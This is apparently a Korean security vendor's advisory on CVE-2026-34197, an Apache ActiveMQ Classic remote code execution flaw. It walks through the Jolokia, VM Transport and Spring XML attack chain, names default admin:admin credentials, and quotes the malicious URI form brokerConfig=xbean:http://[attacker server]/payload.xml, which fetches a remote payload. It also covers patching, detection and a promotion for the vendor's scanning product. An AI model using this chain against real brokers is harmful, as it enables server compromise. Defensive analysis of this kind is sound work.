2026년 4월, Apache ActiveMQ Classic에서 13년 동안 발견되지 않았던 원격 코드 실행(RCE) 취약점 CVE-2026-34197이 공개되었다. CVSS v3.1 기준 8.8(High)로 평가된 이 취약점은 Jolokia 관리 API와 VM Transport, Spring XML 초기화 메커니즘이 결합되는 지점에서 발생하는 복합적 결함으로, 개별 컴포넌트만을 분석하는 기존 방식으로는 탐지가 어려운 구조를 가지고 있다. 더불어 특정 버전에서는 기존에 알려진 CVE-2024-32114과 체이닝될 경우 인증 없이 즉시 악용이 가능하다.
흥미로운 점은 이 취약점이 AI 모델(Claude)에 의해 최초 발견되었다는 사실이다. 보안 연구원 Naveen Sunkavally(Horizon3)는 “기본적인 몇 가지 프롬프트만으로” 취약점 경로를 도출했다고 밝혔으며, 이는 AI가 보안 연구 방식에 가져오는 변화를 상징적으로 보여주는 사례로 주목받고 있다. 본 글에서는 CVE-2026-34197의 기술적 원인과 공격 체인을 분석하고, 인터넷에 노출된 ActiveMQ 자산이 어떻게 공격 표면이 되는지 살펴본다.
Apache ActiveMQ RCE 취약점 개요
| 항목 | 내용 |
|---|---|
| 취약점 ID | CVE-2026-34197 |
| 영향 제품 | Apache ActiveMQ Classic |
| 취약점 유형 | 부적절한 입력 검증/코드 삽입 |
| CVSS 점수 | 8.8 |
| 영향 버전 | 5.19.4 미만, 6.0.0 이상 6.2.3 미만 |
| 패치 버전 | 5.19.4, 6.2.3 이상 |
| 추가 위험 조건 | ActiveMQ 6.0.0~6.1.1에서 CVE-2024-32114와 결합 시 Jolokia 무인증 노출 가능 |
Apache ActiveMQ는 Java로 작성된 오픈소스 메시지 브로커로, 비동기 통신 처리를 위한 메시지 큐 및 토픽 기능을 제공한다. ActiveMQ Classic은 엔터프라이즈 시스템, 웹 백엔드, 정부 기관 등 Java 기반의 오래된 인프라에서 여전히 광범위하게 운영되고 있으며, 이러한 광범위한 배포 환경이 이번 취약점의 잠재적 영향을 크게 확대한다.
기술적 원인: 세 가지 기능이 결합될 때 발생하는 위험
CVE-2026-34197은 단일 코드 결함이 아니라, 각각은 정상적으로 동작하는 세 가지 기능이 연결될 때 비로소 공격 경로가 완성되는 복합 취약점이다. Horizon3의 Sunkavally는 이를 두고 “각 기능은 단독으로는 설계 의도대로 동작하지만, 함께 사용될 때 위험해진다”고 설명했다.
1단계: Jolokia API의 과도한 권한
2023년 CVE-2022-41678 수정 이후, ActiveMQ 개발팀은 Jolokia 관리 API를 기본적으로 읽기 전용으로 제한했다. 그러나 웹 콘솔 기능 유지를 위해 ActiveMQ 자체 MBean에 대해서는 모든 작업을 허용하는 예외 플래그가 추가되었다. 이 예외 허용 범위에 브로커 간 연결을 동적으로 추가하는 addNetworkConnector 작업이 포함되었다.
2단계: VM Transport의 원격 설정 로딩
VM Transport는 애플리케이션 내부에 브로커를 임베딩하기 위한 기능으로, 동일 JVM 내에서 클라이언트와 브로커가 직접 통신하도록 설계되었다. 공격자가 vm:// URI를 통해 존재하지 않는 브로커를 참조하면, ActiveMQ는 새로운 브로커 인스턴스를 생성하고 brokerConfig 파라미터에 지정된 URL에서 설정을 로드한다.
3단계: Spring XML 초기화 시 임의 코드 실행
공격자가 brokerConfig=xbean:http:// 파라미터에 원격 Spring XML 파일의 URL을 지정할 경우, 브로커는 해당 파일을 가져와 초기화 과정에서 모든 Bean 정의를 인스턴스화한다. 이 과정에서 공격자가 준비한 임의 OS 명령이 서버 권한으로 실행된다.
공격 가능 시나리오
취약점 공개 이후 예상되는 공격 흐름은 다음과 같은 단계로 전개된다. 외부 노출 ActiveMQ 인스턴스 식별 단계에서, 공격자는 Criminal IP와 같은 인터넷 스캐닝 도구를 활용해 61616 또는 8161 포트가 노출된 ActiveMQ 인스턴스를 탐색한다. 버전 정보는 HTTP 응답 헤더나 관리 UI를 통해 쉽게 확인 가능하다. 인증 처리 단계에서, 대상이 6.0.0~6.1.1 버전이면 CVE-2024-32114를 통해 Jolokia API에 인증 없이 접근한다. 그 외 버전에서는 기본 자격 증명(admin:admin)이나 탈취된 계정 정보를 사용한다.
코드 실행 단계에서, 공격자는 Jolokia API의 addNetworkConnector 작업을 호출하면서 brokerConfig=xbean:http://[공격자 서버]/payload.xml 형태의 조작된 URI를 삽입한다. 브로커는 원격 Spring XML을 가져와 초기화 시점에 임의 명령을 실행한다. 지속성 확보 단계에서, 서버 권한을 획득한 공격자는 웹쉘 설치, 내부 네트워크 스캐닝, 자격 증명 탈취 등 후속 공격을 전개한다.
ActiveMQ는 이미 CVE-2016-3088(인증된 RCE)과 CVE-2023-46604(비인증 RCE) 두 건이 CISA KEV에 등재될 만큼 실제 공격 대상으로 자주 활용되어 왔다. 랜섬웨어 그룹과 국가 지원 행위자 모두 ActiveMQ를 반복적으로 타깃으로 삼아왔으며, CVE-2026-34197 역시 같은 패턴으로 빠르게 악용될 가능성이 높다.
Criminal IP로 관측된 외부 노출 ActiveMQ 자산
이번 이슈에서 중요한 것은 브로커 포트 자체보다 관리 인터페이스 노출이다. CVE-2026-34197은 Jolokia 관리 API를 통해 악용되므로, 이에 따라 Criminal IP에서는 웹 응답 정보를 기반으로 ActiveMQ 관련 자산을 식별하기 위해 다음과 같은 조건으로 탐지를 수행하였다.
Criminal IP 검색 쿼리: title: Apache ActiveMQ
해당 쿼리는 웹 페이지의 title 정보에 Apache ActiveMQ 식별자가 포함된 자산을 탐지하기 위한 것으로, 외부에서 접근 가능한 ActiveMQ 웹 콘솔 또는 관리 인터페이스를 식별하는 데 목적이 있다. 탐지 결과 약 200개의 자산이 확인되었으며 일부 자산에서는 ActiveMQ 관리 웹 인터페이스가 외부에서 직접 접근 가능한 상태로 확인되었다. 이러한 자산은 단순한 노출을 넘어, Jolokia API가 함께 노출된 관리 지점일 가능성이 있으며, 공격자 입장에서는 우선적으로 식별해야 할 대상이 된다.
특히 CVE-2026-34197과 같이 관리 기능을 통해 원격 설정을 로드하고 코드 실행으로 이어지는 취약점이 존재하는 경우, 이러한 관리 인터페이스 노출은 단순 정보 노출을 넘어 직접적인 공격 표면으로 이어질 수 있다.
또한 일부 환경에서는 관리 포트뿐만 아니라 SSH(22), HTTPS(443) 등이 함께 노출된 사례도 확인될 수 있으며, 이는 단일 서비스가 아닌 실제 운영 중인 메시지 브로커 환경이 외부에 드러난 상태일 가능성을 시사한다. 이러한 구조에서는 관리 인터페이스 접근 이후 추가 설정 변경, 내부 메시지 흐름 조작, 또는 추가 취약점과 결합한 공격으로 이어질 수 있어, 공격 난이도와 영향 범위가 모두 증가하는 특징을 보인다.
대응 방안 및 권고 사항
기본 조치 사항
가장 먼저 필요한 조치는 ActiveMQ Classic을 5.19.4 또는 6.2.3 이상으로 업데이트하는 것이다. Apache와 NVD 모두 이를 공식 권고하고 있다.
그 다음으로는 Jolokia와 관리 웹 노출 여부를 점검해야 한다.
- ActiveMQ Classic을 최신 버전으로 업데이트
- ActiveMQ 6.0.0~6.1.1 사용 시
/api/*인증 설정 재점검 - Jolokia
/api/jolokia외부 노출 여부 확인 - 기본 계정 및 약한 관리자 자격 증명 변경
- 브로커 로그에서
vm://및brokerConfig=xbean:http://흔적 탐지 - 브로커 프로세스의 비정상 아웃바운드 HTTP 요청 및 자식 프로세스 생성 여부 점검
- 관리 웹(8161)과 브로커 포트(61616) 외부 접근 최소화
취약점 대응을 넘어선 공격 표면 가시성
이번 Apache ActiveMQ RCE 취약점인 CVE-2026-34197은 단순한 패치 권고를 넘어 공격 표면 관리(ASM) 관점에서의 접근이 필요한 이유를 다시 한번 보여준다.
ActiveMQ는 내부 시스템 연동을 위한 미들웨어로 배포되지만, 운영 과정에서 관리 콘솔(8161)이나 브로커 포트(61616)가 의도치 않게 외부에 노출되는 사례가 적지 않다. 조직이 운영 중인 ActiveMQ 인스턴스 전체를 정확히 파악하지 못하는 상황에서는, 어떤 자산이 즉각적인 공격 위협에 놓여 있는지 판단하기 어렵다. 특히 CVE-2024-32114와 체이닝되는 버전대가 외부에 노출된 경우, 공격자의 관점에서는 인증 없이 즉시 접근 가능한 고가치 타깃이 된다.
단순히 취약점을 확인하고 대응하는 것을 넘어 Criminal IP ASM과 같은 공격 표면 관리 도구를 활용하여 조직의 외부 공격 표면을 지속적으로 모니터링하고, ActiveMQ를 포함한 내부 서비스의 외부 노출 여부와 버전 정보를 연계 분석해 실제 공격 가능성을 기반으로 보안 우선순위를 설정하는 것이 중요하다.
FAQ
Q1. CVE-2026-34197은 인증이 필요한 취약점인데, 왜 Critical 수준으로 취급해야 하나요?
CVE-2026-34197은 기본적으로 Jolokia 인증이 필요하지만, ActiveMQ 6.0.0~6.1.1 버전에서는 CVE-2024-32114와 체이닝될 경우 인증이 완전히 우회됩니다. 또한 기본 자격 증명이 변경되지 않은 환경에서는 사실상 인증 장벽이 없는 것과 다름없습니다. ActiveMQ가 실제 공격 그룹의 반복적인 타깃이었다는 이력을 고려하면, 인증 전제 조건은 실제 공격 시나리오에서 낮은 장벽에 불과하다고 할 수 있습니다.
Q2. 13년간 발견되지 않은 이유가 무엇인가요?
이번 취약점은 단일 컴포넌트의 결함이 아니라, Jolokia API의 권한 예외 허용, VM Transport의 원격 설정 로딩, Spring XML 초기화 실행이라는 세 가지 기능이 연결되는 지점에서 발생합니다. 각 기능을 개별적으로 분석하는 전통적인 취약점 연구 방식에서는 이러한 교차 컴포넌트 공격 경로를 식별하기 어렵습니다. AI 기반 분석이 이 취약점을 발견한 이유도 바로 전제 없이 여러 컴포넌트의 상호작용을 동시에 추적할 수 있었기 때문입니다.
결론
CVE-2026-34197은 ActiveMQ Classic의 개별 기능 하나가 아니라, Jolokia, MBean 작업, VM transport, 원격 설정 로딩이 결합될 때 완성되는 관리 인터페이스 기반 RCE다. 특히 일부 6.x 환경에서는 별도 취약점과 결합해 무인증 공격으로 전환될 수 있다는 점에서 위험이 더 크다. 따라서 이번 이슈의 핵심 대응은 단순 패치 적용에 그치지 않는다. 조직은 ActiveMQ 버전 업데이트와 함께, Jolokia 노출 여부, 8161 관리 포트 외부 접근, 기본 자격 증명 사용, 의심 로그 흔적까지 함께 점검해야 한다. Criminal IP와 같은 도구를 활용한 외부 자산 식별은 이런 관리 인터페이스 노출을 빠르게 확인하는 데 실질적인 도움이 될 수 있다.
관련하여 CVE-2026-3502: TrueConf 업데이트 체인을 악용한 공급망형 공격 분석 글을 참고할 수 있다.
Criminal IP (criminalip.io/ko/register) 에 가입하면 즉시 취약 자산 탐지를 시작할 수 있습니다. 또한 아래 버튼을 통해 데모를 요청하고, 엔터프라이즈 환경에서 외부에 노출된 자산을 대상으로 한 Criminal IP의 위협 인텔리전스(TI) 분석을 직접 확인해 보세요.
이 리포트는 AI기반 사이버 위협 인텔리전스 검색엔진 Criminal IP의 데이터를 바탕으로 작성되었습니다. 지금 바로 Criminal IP 무료 계정을 생성하면 리포트에 인용된 검색 결과를 직접 확인하거나, 더 방대한 위협 인텔리전스를 자유롭게 검색할 수 있습니다.
출처: Criminal IP(https://www.criminalip.io/ko), BLEEPINGCOMPUTER (https://www.bleepingcomputer.com/news/security/13-year-old-bug-in-activemq-lets-hackers-remotely-execute-commands/), SECURITYWEEK (https://www.securityweek.com/rce-bug-lurked-in-apache-activemq-classic-for-13-years/), gbhackers (https://gbhackers.com/claude-identifies-critical-13-year-old-rce-vulnerability-in-apache-activemq/)